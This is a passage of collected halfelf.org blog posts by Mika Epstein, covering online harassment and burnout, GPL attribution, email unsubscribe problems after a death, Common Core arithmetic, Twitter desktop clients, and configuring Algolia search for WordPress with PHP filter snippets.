And this sucks. I hate telling someone “Buddy, it’s over. You’re done.” But they are. Even if I overstepped or over-reacted, 700 emails, physical packages, cards, threats, accusations of killing people, etc … how do you go back and say “Oops, I was wrong” and expect everything to be okay.
It’s not, because it can’t be. Things don’t just go away and get better because you said you were sorry. I do believe they’re sorry, but I think they’re sorry *because* they got caught and punished. They aren’t sorry they did harm (if they were, they’d have stopped). Right now, they’re at the point where their argument is “We will stop hurting you when you do exactly what we want.”
And that, I simply cannot do. Not just because I’m standing to protect the rest of the WordPress.org users, but for the principle of the thing.
What I want? I want them to **stop** trying to contact me in any way, shape, or form. I want them to accept the (painful) fact that they made a massive mistake and acted in a harmful manner. I want them to be grown ups and walk away.
Sadly, this appears to be something they cannot do.
## It’s totally Burnout
This absolutely is burnout.
I’m socially burned out in a lot of ways. While I had some phenomenal support from WordPress, from my work, from my friends, from professionals, it was exhausting to have to deal with this. Legally? There isn’t much I can really do. The persons involved don’t live in the US, so our laws are not in play here. International harassment laws don’t really exist. There’s nothing the police can do to stop it unless they show up in the US (which is highly unlikely).
At best, I can file complaints (which I have) and block their contacts (ditto). I can also be proactive, look them up, find out everything that’s them, and block them before they contact me (did that). I’ve done a lot more than I list here, by the way. I don’t want to tip my hand.
People have done everything I could possibly expect from them, and more, but … it’s still going on.
And yes, this is part of why [Plugin Team emails went anonymous](http://make.wordpress.org/plugins/2021/01/19/why-the-plugin-emails-are-anonymous/).
It’s absolutely, 100%, burnout.
## And about speaking at events?
I don’t know.
The last two years I just needed a **break** from all that to process how I felt about the situation. I knew I was tired, but that isn’t really how I feel emotionally. The last year was so hard for everyone, so brutal for us all, that having it sit on top of the pain of loss meant I never really got the chance to process. I don’t feel like it’s been two years since Dad died, I feel like it was yesterday.
What I feel is anger and annoyance and a lot of ‘damn it to hell.’ And I am filled with defiance.
Now that there’s a little less stress in my life (and most of ours), and with the hope that people in charge will be held accountable for their seditious actions, I feel like I’m freer to say that this happens. This happened. This is happening.
Soon, hopefully, I’ll feel like I can safely do interviews and talks again.
## Why did I post this on my Tech blog?
The world is angry right now. Everyone’s at their limit for coping, and for most we’re well beyond what our brains can wrap around. Half a million dead in the United States alone? It’s nearly unimaginable. And I think we’re letting our anger get the best of us.
I posted on HalfElf and not my personal me-blog because in tech, we can easily forget there are other people on the screen. I knew, when I banned this person, that I was harming a human. I felt I had run out of other options to get them to understand that they were doing harm to the world in general, and I didn’t want anyone else to get hurt. This is not an excuse, though. I hurt someone. I hate that I did it. I hate that I have to. But there’s literally no way to stop someone from hurting others without hurting them in some way. At least not that I’ve found.
But if I banned someone from a physical location, I could get the cops to do something (in theory, I know). I could get legal help. I could have security escort them from my location and be within my rights.
Online?
We don’t build our tools to handle harassment. We just **don’t**.
If someone harasses you on Twitter, or Facebook, the ‘solution’ is to turn your account private, because these people will just make more and more accounts. We can’t block by IP, because they can use VPNs. We could ban all VPNs, but that has a negative impact (just for an example, I can’t edit Wikipedia when I’m at my office because we have a firewall and VPN).
Looking at WordPress, how would you stop someone from harassing you? You make use of banned terms and plugins, but did you know most *contact form* plugins don’t have block tools? Logically it’s so if someone’s accidentally blocked from commenting, they can get a hold of you. But most don’t even have this as an option.
So I post this here to put a **human face** on the damage being caused by our own negligence, and to make us more aware of the monster we’ve created.
When you write new code, think about how it can be **ab**used. Think about disrupting harassment. Think about allowing people to protect themselves. And, above all, if someone tells you this is going on? Believe them. I was lucky. Everyone believed me. Most people are not.
**Categories:** How It Is
**Tags:** essay, oped
---
### [Stolen GPL](https://halfelf.org/2012/gpl-and-theft/)
**Published:** December 13, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Stealing GPL isn't impossible, it happens more often than I'd like, and it could be easily avoided with a simple attribution of effort.
**Content:**
I made a polarizing comment on Twitter back in November, which was perfectly plain to me, but apparently not everyone else.
“GPL means that you can fork, but it doesn’t mean you can steal, and you know damn well what theft is.”
I should have said ‘doesn’t mean you *should* steal, and you know damn well what *that* is’ but the point is close enough. Forking in GPL is not only okay, it’s encouraged. Many of us get our starts forking and improving plugins. But there’s a difference between that and stealing someone’s work and presenting it as our own. That’s stealing, plain and simple. If you fork, you attribute. I have a plugin that started as a fork and ended up 100% re-written in a totally different way, but I *still* credit my original inspiration.
Why?
Because of the community.
Look, per GPL, taking someone’s plugin is not stealing it, in so far as taking the code goes. You have the right to distribute someone else’s code. And I don’t even think that taking someone’s copyright protected work is actually theft. What I do think is that is taking someone else’s work with questionable motives, and rebranding it as your own, is stealing.
Here’s the [GNU’s take on Copyright ‘Theft’](http://www.gnu.org/philosophy/words-to-avoid.html#Theft):
> Copyright apologists often use words like “stolen” and “theft” to refer to copyright infringement. This is spin, but they would like you to take it for objective truth.
>
> Under the US legal system, copyright infringement is not theft. Laws about theft are not applicable to copyright infringement. The copyright apologists are making an appeal to authority—and misrepresenting what authority says.
>
> Unauthorized copying is forbidden by copyright law in many circumstances (not all!), but being forbidden doesn’t make it wrong. In general, laws don’t define right and wrong. Laws, at their best, attempt to implement justice. If the laws (the implementation) don’t fit our ideas of right and wrong (the spec), the laws are what should change.
I agree with their explanation, and think it’s valid, in so far as it goes.
Where it breaks down is the motive, as I mentioned before. If I buy a plugin or theme to use, I’ve bought it for the intended purpose. If I buy it to fork, I’ve bought it for another intended purses. If I buy it to sell as my own, now I’ve walked into asshole territory. Per the GPL, this isn’t theft and it isn’t stealing (again, forking is okay). But when you look at it dead on, you’ve taken someone else’s work, with the intent to profit from their work, without any attribution or credit or compensation.
In any other situation, that would be, clearly, stealing.
Theft is taking someone else’s property without permissions and with the intent to deprive the rightful owner of it. Obviously we’re not depriving the owner of the product when it comes to software, but we are intended to deprive them of the *profits* of their software, by circumventing their established ‘sales’ procedure. This works the other way, too. If I take someone’s free theme/plugin and sell it, I’m stealing from them as well. However. In both cases, if I’m not selling the product, but selling my support of it, I’m not stealing anything.
Stealing is presenting someone else’s works as your own, among other definitions, and taking without right or permission. When it comes to GPL, you have both right and permission to take, that is unquestioned. But again, once you start presenting this as your own, you’ve walked into asshole territory. You didn’t do the work, you didn’t write the code, and you didn’t do anything except copy/paste. That’s not coding. You’re being dishonest, and I feel you’re stealing.
[](https://halfelf.org/wp-content/uploads/sites/2/2012/11/300px-Alexander_cuts_the_Gordian_Knot.jpeg)
It’s morally ambiguous and sticky for me to just say ‘this is stealing’ which is why I have to come back to the intent and motive. Am I doing this for altruistic reasons? Did the developer take a walk and abandon their work, and I’m simply keeping it alive? Did the developer reject my patch so I forked it? Or am I doing this because I resent them charging $85 for a plugin when WordPress is free? If it’s that last one, then I’m a thief, because my motive is to stick it to the other guy.
Separating ‘stealing’ and ‘theft’ is like undoing a Gordian knot. You can do it, but it starts bumping into all sorts of crazy semantics. That’s why, most of the time, we don’t bother. I have a very strong opinion on the subject of code-theft, and always have. I feel that the only way to keep the GPL going is to not only do what’s right, but mean it, and being a good steward of the community, be it WP or Drupal or even Expression Engine, means you have to do what’s right.
The right thing is to thank the guy who came first. Even an ‘Inspired by a snide comment by Ipstenu’ is being a good steward. You’ve encouraged me to do more by taking the time to recognize my effort. With that encouragement, I’ll go on to do more. It’s positive reinforcement at it’s best.
**Categories:** How It Is
**Tags:** copyright, essay, freedom, license, open source
---
### [Email Verification and Unsubscribing](https://halfelf.org/2021/email-verification-and-unsubscribing/)
**Published:** January 27, 2021
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes you want to scream at the phone when you can't do something as simple as close an account.
**Content:**
If you follow me on Twitter (no you probably don’t want to), you know I’ve been dealing with the messy technical side of death for around 2 years now. My father died, unexpectedly, and I picked up his digital life and dropped it on my laptop in order to untangle things. While my father had shared his login information with me before, I did run into a number of technical issues like needing the phone for an SMS confirmation when I logged in from a new location.
Now all that said… Here’s the technical problem a **LOT** of companies created for themselves.
1. They don’t require you to **verify** an email before sending you advertisements
2. Those emails do not have **unsubscribe** links
Yeah, those two things are killing me, smalls.
### Why not delete the account?
Someone’s thinking this…
Because the last time someone emailed it, legit looking for my Dad to tell him something funny/relatable/personal, was December 2020.
Dad was in his 70s. He had a lot of sporadic friends over that time, and sometimes they would randomly think about him and reach out. Many were long-standing friends, some I knew and hadn’t seen since I was in elementary school. He lived in a lot of places. Those people needed to be told he was dead.
Maybe one day I’ll delete his account and his website, but it won’t be any time soon.
## How to Fix This
The good news here is all this is fixable if people start caring about data properly.
See the problem here stems from companies wanting your data. They want it so much that they use any excuse to grab it and never let go. But this is wrong both legally and morally.
It’s not *their* data. It is **YOUR** data, and you should have a right to it. Per the GDPR, UK’s Right of Removal, and even California’s new laws, my data belongs to me, and I have a right (in most cases) to get it off their system. In the case of my dead father? That data is as useful for you as wings on a mongoose. But as his estate’s legal representative, I legally own Dad’s data, which means I should have control.
### Check The Email First
Anyone who’s signed up for anything online lately knows that you have to opt-in to getting ads. That’s just how the world works now. But you also have to **confirm** your email before you can use your account fully.
At the outset, that sounds great, right? It forces people to confirm! The reality though is that by letting people make an account, **with or without verification of the email**, those companies add the email to their mailing lists. That means that when some moron uses my father’s email to ‘test’ (or because they’re some idiot in the midwest who regularly thinks it’s his email even though Dad made it in the 1990s and has used it since then, seriously buddy, stop it), I get the email. And when they correct the email in the account, they retain access and I keep getting emails that I **cannot** unsubscribe from.
We’ll get to the lack of links in a minute.
The obvious thought process here is “People wouldn’t put in the wrong email!” but the reality? They do. They totally do. There’s a guy who bought a Ford, has a credit line, and a loan from a bank, and I know a whole lot about all this **because** he is a total idiot who keeps using the email that was my father’s. Seriously. It’s never been his email. The first owner of the domain was Dad. The second is me. The email he used has been in use, by my father, since March 2, 1995. Not joking.
Now, if you keep along with the (incorrect) thought train, you’d think “Once someone enters their email, I can add it to my mailing lists as I have their consent.” And again, sure. **IF** the email is actually theirs. And what’s happening is all these sites add in your email to their lists **before** they confirm (if they confirm at all) that it’s really your email. This means my poor Dad’s email is not just added to an account, it’s added to **all their lists** as well.
### Let Us Unsubscribe
The other (related) issue is there’s no unsubscribe *link*.
Look, I get it. There are emails that are not unsubscribeable for as long as you have an active account. There are legal reasons why you have to be mailed some things. However all those emails must have a way you can actually close/remove your account. A link would be great, but even an explanation “Hey, we cannot unsubscribe you unless you close your account, here’s how to do that.” would be better than the message from a certain ISP who told me I had to log in to the account… but were unable to provide me with the login info.
In the case of two separate companies, if you do have to legally send out emails to people because they have an active account, you should be including some information like ‘Your account name is X’ or even ‘Your account number is X’ so that we can have a place to start. Instead, I have a bunch of emails that all say they can’t unsubscribe me while I have an active account, please log in …
And what do you think happens when I go to log in? Of course ‘There is no account with this email…’
Which brings me to…
### Let Us Recover Accounts
It needs to be ‘easier’ to recover account. Especially if someone’s dead.
Now, I’m not talking about Facebook’s idiocy on locking people out and requiring them to have someone else verify them, only to send another email that bounces and you can never log in. Although that was certainly fun to do with my Dad’s stuff.
Take a hard look around. People are dying by the thousands per day, and those are not ‘expected’ deaths by any means. This means the number of humans who were unprepared and unorganized are stuck trying to find things like account numbers, and have no clue where to start. If we’re lucky, we can get into their email and change the passwords so we can keep it but…
This is not actually very easy! The only reason I had Dad’s email was because I was his email admin. If I wasn’t, I’d have to have logged in while I was still in Japan, from his laptop, and then hoped beyond reason that I was able to change the passwords without knowing the current one.
Think about that for a second. My father lived in Japan, had a Japanese number. He’s dead, the phone number was closed, and I can’t get it back as I’m not a Japanese resident. Which means the methods to recover are … email. But that isn’t enough for some companies.
My ‘favourite’ is someone telling me that there was no way to know what account used my Dad’s email. Yeah, they had no way to connect an email to any account, and required me to provide a local phone number to call me about it. I blocked their emails because I literally have no other solution. They can’t tell me what email uses the address I own, and they can’t help me except by a local-to-them phone call.
## Summary? Let People Own Their Data
Okay, here’s your summary:
1. Require email *confirmation* in all cases where an account is being made. No verification? No account.
2. Allow people to correct the emails if they can’t verify. If someone put in `stevejobs@appl.com` and forgot that E, they should be able to fix this.
3. Allow people to unsubscribe from all emails with an *easy to find* method. A link, some explanations, whatever. Make it obvious.
4. If people cannot **legally** unsubscribe while having an account, then you need to make it possible to cancel accounts when a user **DO NOT KNOW** the account name. If you’ve verified emails, yo, magic. “I forgot my account name…” — And again, this needs to be easy to find information.
5. If someone sends you a damn death certificate, you should honour it.
This is not going to fix everything, but it would certainly make us hate a couple companies a lot less.
**Categories:** How It Is
**Tags:** customer service, email, registration
---
### [New Math](https://halfelf.org/2014/new-math/)
**Published:** March 5, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Math and learning isn't just rote memorization, but getting that intuitive understanding of how the numbers relate to the formulas. All roads lead to Rome, once you learn to walk.
**Content:**
I’m not a math teacher. I’m not a mathematician. My father, [the risk analyst](http://woody.com), is a mathematician. We used to play math ‘games’ and I thought that was normal. I was also a very odd child. My mother was convinced something was ‘wrong’ with me because I did “Number Roll” all day at school for the better part of a year. To anyone not from a Montessori school, Number Roll is a bewildering concept, where you just write numbers, incrementing by one, over and over and over again, getting the numbers as high as you could go.
Now, I was always (am still) a hands on learner. Being forced to learn *anything* by rote memorization is painful. But math is a little different. You can’t ‘understand’ math until you’ve mastered counting. You can’t grasp all the relationships between quantities and numbers without knowing the numbers first. It’s like you can’t learn spelling until you memorized the ABCs.
Number roll is crazy basic. On long sheets of paper, I wrote each number in order, beginning with “1”. I should stress, my mom worried about my intelligence, that I spent days and weeks and months doing this. But what I was really doing was following patterns without knowing it. I mean, I can do my nine-times tables because I know the ‘pattern’ is Plus Minus. Watch:
```
09
18
27
36
```
That didn’t make any sense to you? Start with 09. Add 1 to the left and subtract one from the right. Now it’s 18. You do this over and over and over again and it works all the way down. This repetition taught me pattern recognition in a different way and gave me insight into both counting *and* the meaning behind it. The nines work like that because 10 – 1 = 9, so then logically I could apply this to everything! This is where number roll was suddenly magical, as the Montessori concept is that **before** children can gain a meaningful understanding of quantities, numbers, and the relationships between them, they need to learn basic counting, but you should understand what counting means.
In other words, math will make more sense if you can see how the numbers fit together.
This is probably why, when I was a kid, I did my multiplication ‘backwards.’ That is, if you asked me to do 123 x 24, I did it left to right. Let me explain. This is how you probably do it:
```
123
x 24
----
492
246
----
2952
```
Right? You start with the bottom right, so you go “4 times 3 is 12, carry the 1, 4 times 2 is 8 plus one is 9, 4 times 1 is 4.” Most people I know would call this ‘traditional’ math. My math goes left to right, so I get this:
```
123
x 24
----
24
48
72
----
2952
```
1 x 24, then 2 x 24, and finally 3 x 24. I can do this fast because I’ve memorized my times tables, but at one point a friend asked me how this was really left to right, because when you look at 3 x 24, you’re back to the old “3 times 4 is 12, carry the 1. 3 times 2 is 6 plus 1 is 7.” Well, when I do *ALL* all the work, it looks like this:
```
123
x 24
----
2000 (100 x 20)
400 (100 x 4)
400 (20 x 20)
80 (20 x 4)
60 (3 x 20)
12 (3 x 4)
----
2952
```
The difference really is I’m breaking apart multiplication into smaller addition steps. And now it makes sense to a lot more people. “100 times 20 is 2000” and so on. Once it’s spread out, it’s easier for someone new to pick up how I did it, and in a sense, why. It’s true left to right, all the way down. I don’t generally do long-form math this way any more, though, because like everyone else I had to learn the ‘real’ way of doing it, but also I started to memorize the patterns. I know without really thinking that 12 times 2 is 48. It’s a common enough equation that I memorized the answer.
That means I can do all this in that even faster way you saw above. I just know that since 1 times anything is itself, the 4 from 24 goes under the one. Sometimes I have to remember to mark my place, if I’m doing less frequently combined numbers (I don’t seem to use 7s times 9s a lot). When that happens, I usually add on the zeros:
```
123
x 24
----
2400
480
72
----
2952
```
When I don’t, to make sure I keep my place, I go far left top to far right bottom, since those two have to line up. That means I know the “1 times 4” answer (4) has to be under the 1, and the “1 times 2” answer (2) is one to the left. But that’s the advantage of understanding how all the numbers work together, and sets. I know how certain numbers combine, I’ve memorized their patterns, and I can apply them backwards and forwards not because I know the equations, but because I see the pattern.
Now on to the rather controversial image I posted recently:
[](https://halfelf.org/2014/new-math/1982284_675817145814580_2016934226_n/)New Math
This shows you two ways to solve a problem. First is the ‘traditional’ way, or as I’ll call it, the fast way:
```
32
- 12
----
20
```
At it’s heart, this is a simple equation. Most of you went “Sure, 3 minus 1 is 2, the 2’s are the same, so 20.” Some of you went “1 plus 2 is 3, so it’s a 2…” Both are correct. Then you get the ‘new’ way:
```
32 - 12 = __
12 + [ 3] = 15
15 + [ 5] = 20
20 + [10] = 30
30 + [ 2] = 32
--------------
20
```
And a bunch of adults just when “LolWHUT!?”
When I saw this math problem, the first thing I did was the same as you “Why 15!? What?” I mean, we’ve all been told “Show your work, don’t pull numbers out of thin air!” Then I thought back to when I was a kid trying to understand this whole math thing. Fives were easy to remember: 5 10 15 20. It’s either a 0 or a 5, and the number in front went up by 1 every 0. We all kind of got that pretty fast. Number Roll (see?) taught me that concept really early on. That was my lightbulb moment.
“OH! We’re adding X to 12 to get to the 5s, then we add Y to get to the tens, then Z to get to the base of 32 (30), and add the leftovers Q. Add up X, Z, Y, and Q, you get 20!”
This is what I would call “the long way” however the thought occurred to me that this was a number roll-less way to try and teach children how numbers came together! [Common Core](http://www.corestandards.org/Math/) (which is where this comes from) is actually sneak-teaching kids algebra, while at the same time giving them a reference for that rote memorization they had earlier. You remember your 5 times tables? This is how we use that information in a practical application!

Part of the difference comes in if you think about subtraction as ‘Something new’ or ‘backwards addition.’ I tend to think of it as backwards addition, and multiplication is ‘Faster addition’ (division is ‘faster backwards addition’). I was fairly young when I realized that all math was really, at it’s heart, the same, it was just the formula you slapped in to make it messy. Everything comes down to adding for me, always. We’re all just playing fast ways to do things and solve problems, and this is starting with the long way first.
All this comes back to what Richard Feynman wrote in the essay New Textbooks for the “New” mathematics:
> If we would like to, we can and do say, ‘The answer is a whole number less than 9 and bigger than 6,’ but we do not have to say, ‘The answer is a member of the set which is the intersection of the set of those numbers which is larger than 6 and the set of numbers which are smaller than 9’ … In the ‘new’ mathematics, then, first there must be freedom of thought; second, we do not want to teach just words; and third, subjects should not be introduced without explaining the purpose or reason, or without giving any way in which the material could be really used to discover something interesting. I don’t think it is worth while teaching such material.
It’s his third point that I believe Common Core is trying to address. How many of you were taught the purpose of your times tables, after all? How many of you understood the reason besides ‘so I can pass the class’ that we learned to think of numbers and how they were put together? A lot of people seem to think that Feynman didn’t like kids to learn the application of math, to understand what it meant, but that’s incorrect. He rallied *against* new math because it lacked word problems and applications of use! Yes, you hated those word problems, but they were meant to teach you application. Instead most people learned how to pick out the important bits and do the math as a simple formula to which they could apply that rote memorization.
There’s a problem with this, though, and Common Core has the same problem that New Math does and that the ‘traditional’ way did back when I was a kid, so this is nothing new. It forces kids to learn in one way, and one way only. I was incredibly lucky in that my father let me do math my own way (he found it interesting), and once I showed my work (see above) he and my teachers saw that I had in fact achieved the absolute goal of number roll: **I internalized the connection between math equations and the numbers**.
Rote memorization has a place. You memorize the tables, you can do math *faster*, and things like calculus will be surprisingly easier to you because all you have to do is put the numbers into the formula. At the same time, some of the other concepts will be a struggle because you don’t get the connections, you only know memorization and implementation.
I will note that once you’ve memorized this stuff, it’s all a lot faster. I tend to count on my fingers when I’m trying to math days of the week (like today is the 5th, so next Wednesday is 12th) because I’m messing with names (Wednesday) and numbers, and then I have to remember how many days are in March, but I can do all this in my head, including calculating tax. And no, I don’t think it’s ‘cheating’ to use a calculator. The point is understanding what the relationships between the numbers are, knowing what formula to apply when and where, and enjoy it.
That was the goal of New Math, you know. To make math something kids wanted to do. You should read Feynman’s “Surely you’re joking, Mr. Feynman!” and follow his account of being on the board to set up these new curriculums, and you’ll see exactly why they continue to fail over and over. It’s a pity, too, since I bet some kids are looking at the Core method and there’s a lightbulb going on over their heads. I hope parents aren’t scaring their own kids off math because the adults don’t understand this new stuff.
Of course, a lot of this is the fault of the school system, in that the parents aren’t taught what the kids are learning or *why*. If you’re learning something at school, and at home your parents go “What? This is bullshit!” you’re going to have a harder time learning and accepting. Don’t believe me? Creationism. You’re welcome. The point being you have to reinforce what a kid learns at school in the home or they have to come to terms with the dichotomy of difference at a stage when they don’t understand enough of the world to get what that meant.
Not that having multiple choices is great for every kid. Some people freak out when there’s more than one right answer, especially in math which in the beginning is remarkably straightforward (like spelling). There’s *one* right answer, but now you’re giving them multiple paths (spelling has this too, by the by: color, colour; grey, gray). It breaks brains. This, perhaps, is a little bit why WordPress is “Decisions, not options.” Maybe we’re giving people the options too soon, but when it comes to learning, we adults should already know there isn’t one ‘right’ way to learn and master skills. And with math, there isn’t going to be one perfect way to get those base concepts into their minds.
**Categories:** How It Works
**Tags:** learning
---
### [Hey, Twitter, Why Do You Hate Us?](https://halfelf.org/2018/hey-twitter-why-do-you-hate-us/)
**Published:** March 1, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Hey, Twitter. Why don't you like people with multiple accounts?
**Content:**
Hi, Twitter.
I know we fight a lot. You know I report a lot of abuse and harassment, and you do nothing about the Nazis, and we have our differences. But this isn’t about that. I mean, yeah, I’m salty about the Russian thing, but we need to talk about something else.
We need to talk about using Twitter on a desktop when you have multiple accounts.
## Multiple Twitter Accounts Happen
I have a legit reason to have multiple accounts. A good one, in fact. I have my personal account, but I have two others for brands I manage. And that means I kind of need to be able to log in to all three at once and wrangle things.
If you use Twitter on the web, your choices are regular Twitter or Tweetdeck. The latter makes you sign up via a very convoluted process in order to grant access to accounts. Basically, you have to give your ‘main’ account access to the ones you want to manage. It’s not very obvious.
And there are weird things missing from Tweetdeck. Like … no decent notifications. You can’t tell what you’ve read or when people @ you or anything like that. Not easily. Oh, and there’s no GIF button.
Finally … with three accounts I get to have NINE columns. Three each for ‘home,’ ‘mentions,’ and ‘messages.’ Thanks. A lot.
## No Great Desktop App
Here’s my problem. There’s no good Twitter desktop app. Your own app went unloved until you pulled the plug. [In a tweet](https://twitter.com/TwitterSupport/status/964635739517407232). Nice. Really nice. That leaves me with a few choices.
**TweetBot**: I like Tweetbot, except that I can’t see polls in it, and I can’t navigate to embed Gifs. But it has a pretty decent interface. The biggest issue is that you can’t see group DMs. Sometimes keep on top breaks. Sometimes not.
**Twitterific**: This is a wonderful app except that scrolling sucks. If you switch to a different account, keep on top stops working, and ⌘↑ (which should take you to the top of whatever you’re on) doesn’t scroll right. Oh and no embedding Gifs. And again, no group DMs and no polls.
What about TweetDeck’s desktop app? It hasn’t been updated since 2015. The best version I’ve seen is **[Tweeten](http://tweetenapp.com)** but again, I’m back to 3 columns per account.
## What I Want Is Simple
I want the iOS app, but for the desktop. I want to have the following features:
1. Multiple Account Support
2. One visual ‘column’ per account (it can have sub tabs, whatever)
3. The ability to insert and read polls
4. Support for multi-person DMs
5. Notifications
6. A damn GIF button
Instead, I get to use Tweetdeck in my browser. At least, until Twitter dumps that too.
**Categories:** How It Is
**Tags:** oped, twitter
---
### [Algolia: Search Faster](https://halfelf.org/2020/algolia-search-faster/)
**Published:** October 12, 2020
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Being driven to dementia by search woes, it's time to embrace insanity and find out what you really need.
**Content:**
**Note:** While this post is about using Algolia, the irony is that shortly after I posted it, I removed Algolia. The reason being, InstantSearch counts as a separate search *per letter used* — that means I was about to skyrocket over my allowance and hit the thousands-a-month. I feel their pricing was quite unclear about this. But hey, now you know!
My friends, it’s been a while. And if you follow my rants on Twitter (this is not a suggestion you should). you saw I faced off with [ElasticSearch](https://halfelf.org/2016/elasicsearch-service/), my nemesis.
Moons ago, I attempted to use it to make a site I run faster by using ElasticSearch. At the time, I struggled with search ranking and all those things. [Then it broke with Jetpack and made my server core-dump.](https://halfelf.org/2016/lesbians-broke-jetpack/) So in 2016 I tossed it in the can and walked away. After all, I didn’t *need* it. WP’s search was sufficient.
Fastforward 4 years and with around 12k posts to search, guess what isn’t so okay anymore?
## What’s Wrong With WordPress Search?
Nothing.
When you search on WordPress, it uses SQL queries to check in and find all instances of ‘a thing’ (whatever it is you searched for). So logically if you have a lot of posts (or a lot of content, be that in the form of a few huge posts or a high number of smaller ones), you’re going to experience slower searches.
Also WordPress’ search isn’t customizable. You can’t tell it “Don’t search page X” or even “Prioritize post titles over content.” This leads to some odd results.
But realistically neither of those issues are ‘wrong.’ Those are broad choices made to support 80% of WordPress users.
This means your question of “What’s wrong with search?” is really “Are there specific cases wherein the default search won’t be the best choice for me?” And those two issues? They’re why. If your site is large (or getting there) and if you need to ‘weigh’ search results to prioritize A over B, then this post is for you.
## Solving The Right Problem
While the first thing you always look at is “What do I need to solve?” by the time you get around to ranting about how WP search sucks, you kind of know where to start. That is, either search is too slow or you need to customize it. Or both.
If you need to customize your search results, I recommend you look at plugins like [Relevanssi](https://wordpress.org/plugins/relevanssi/), which does a great job of handling that. **However** there are two critical flaws for most (if not all) self-hosted plugin solutions. They’re going to make your database **big**. And let’s be clear here, a bigger DB is not going to help your speed issues. It becomes harder to back-up and more fragile. Relevanssi is refreshingly honest about this, warning you that your DB will triple in size, but also making sure you know that [over 50k posts won’t work](https://www.relevanssi.com/knowledge-base/cant-build-index/).
Subsequently, a large site means you need to start looking at *services*. [Algolia](https://www.algolia.com), [Swiftype](https://swiftype.com), [ElasticSearch](https://elastic.co), and [Solr](https://lucene.apache.org/solr/) are all amazing, viable, services. Some have plugins for easy WordPress integration, some do not. Some are open source, some are not. Some let you build your own… Let me just show you:
NameOpen
SourceServiceRoll Your
OwnPluginAlgoliaNoYesNoUnofficialSwitftypeNoYesNoOfficialElasticYesYesYesUnofficialSolrYesNoYesUnofficialYou get the idea. Lots of options. And I did not pick Elastic (who owns Swiftype now, BTW).
You see, Elastic is more than *just* a search. It’s really a whole database of your content. This means you can hook into it to speed up WordPress queries for long/large tables. But … That isn’t my problem. My problem is just search.
## Services are Spendy
I ended up using a service because I was going bonkers. Seriously. The ‘directions’ for both Solr and Elastic are really terrible. They go in with some assumptions that you’ve done similar things (haven’t) and don’t have what I would call an ‘intro doc.’ Solr I got a lot further than Elastic, but WP integration was weird. And Elastic … No.
Installing it was weirdly easy. The problem was I could not find any information about configuring it. People say “You must secure it.” Okay, sure, I can do that… But no one sat and explained why you want the nodes, what they do together, why you want them on separate servers (or even *that* you do) and .. Honestly I wanted to throw my laptop out the window.
It does, mind you, bring up an important note. Search storage and Elastic services are **expensive**. Even Jetpack, who offers a bundled Elasticsearch integration (yes, that’s what [Jetpack Search](https://jetpack.com/support/search/) is) would cost a site with 10,000 posts around $600 a year. Even using Amazon’s Elasticsearch it’s going to run you a lot. How much? Well if you just toss in their defaults and accept the large settings, it’s to the tune of $22 a day. Give or take. Small settings for my site? Around $8 a day.
ElasticPress (whom I do recommend if you’re using Elastic) starts at $79 a month. Jetpack’s new search is free for small sites, but for mine (again, we’re over 10k posts) it would **begin** at $60.
Algolia though … 12k records is about $3 a month. And it’s all search.
## Enter Algolia
The name meaning delights me:
> inability to speak due to mental deficiency or a manifestation of dementia.
Because when you are searching, you often feel like you’re losing your mind and you have a problem. Search is **hard** okay? There’s a reason AltaVista, Lycos, Yahoo, and now Google are important. Searching is crazy weird and hard and sometimes it’s faster to go “lezwatchtv ACTOR NAME” than to search on our site.
That was not good at all.
Algolia is one of the more straightforward setups I’ve had in a while.
1. Register on algolia.com
2. Spin up a new app
3. [Install WP Search with Algolia](https://wordpress.org/plugins/wp-search-with-algolia/)
4. Add in your keys
5. Tell it what to search
6. Tell it if you want auto-complete
7. Tell it if you want a new search-result page
8. Index
9. Done
Oh you know there’s a little more.
## Reducing Records
I decided to make my records smaller. Algolia only cares about the number of records, not the size, as long as each record is under 10k. I have a lot of meta data and a lot of records. If I was to index everything, I’d be around 15k records, which isn’t bad but I really only needed about 12k of them.
One of the odd things the plugin does is that it uses separate indexes for Auto-Complete. So I could store all my searchable posts *and* all my shows, characters, etc etc. Which would make for 50k records, and I didn’t want that. Sure it makes some aspects of search easier, but I knew I could do this a better way.
I started by making a plugin and removing some records:
```
add_filter( 'algolia_should_index_user', 'my_prefix_algolia_never_index' );
add_filter( 'algolia_should_index_term', 'my_prefix_algolia_never_index' );
function 'my_prefix_algolia_never_index'() {
return false;
}
```
This tells the plugin “Never index users or taxonomies” Most of you will want the taxonomies! I don’t, mostly because they don’t impact how people search really. And yes, I did study my logs. No one cares who wrote what for my site, and that’s okay.
## Refining Search Results
Next I needed to make sure that autocomplete (which I use) and the search page both put the right content to the top.
There is one and only one ‘flaw’ with Algolia, and that’s they don’t make it easy to define a ‘perfect’ match. I have a case where I have 5 post types (posts, pages, shows, actors, characters) and there’s crossover. If I search for “One Day at a Time” I get everything that mentions it. Which is not what I wanted. And while the title of the post I wanted to find was the TV show “One Day at a Time”, it was bringing up my blog posts (and the page!) first.
This was solvable because the plugin is amazing. I filtered and told it what attributes to remove:
```
add_filter( 'algolia_post_shared_attributes', 'my_prefix_algolia_attributes', 10, 2 );
add_filter( 'algolia_searchable_post_shared_attributes', 'my_prefix_algolia_attributes', 10, 2 );
function algolia_attributes( array $attributes, WP_Post $post ) {
// Remove things we're not using to make it easier.
$remove_array = array( 'taxonomies_hierarchical', 'post_excerpt', 'post_modified', 'comment_count', 'menu_order', 'taxonomies', 'post_author', 'post_mime_type' );
foreach ( $remove_array as $remove_this ) {
if ( isset( $attributes[ $remove_this ] ) ) {
unset( $attributes[ $remove_this ] );
}
}
return $attributes;
}
```
This ensured I keep my records small enough because I had some math to do.
The `function algolia_attributes()` needed to promote certain posts over others, so I added in a switch using some data I already saved
```
// Add Data for individual ranking
switch ( $post->post_type ) {
case 'post_type_shows':
// Base score on show score + 50
$attributes['score'] = round( get_post_meta( $post->ID, 'lezshows_the_score', true ), 2 );
$attributes['score'] = 50 + (int) $attributes['score'];
break;
case 'post_type_characters':
$attributes['score'] = 150;
break;
case 'post_type_actors':
$attributes['score'] = 150;
break;
default:
$attributes['score'] = 0;
break;
}
```
This *adds* an attribute of ‘score’ based on post type. I could weigh the up or down as I wanted.
Then I went into Algolia’s admin, and this is where the search tool becomes a champ. under Indices -> Configuration, I changed up the Ranking and Sorting:
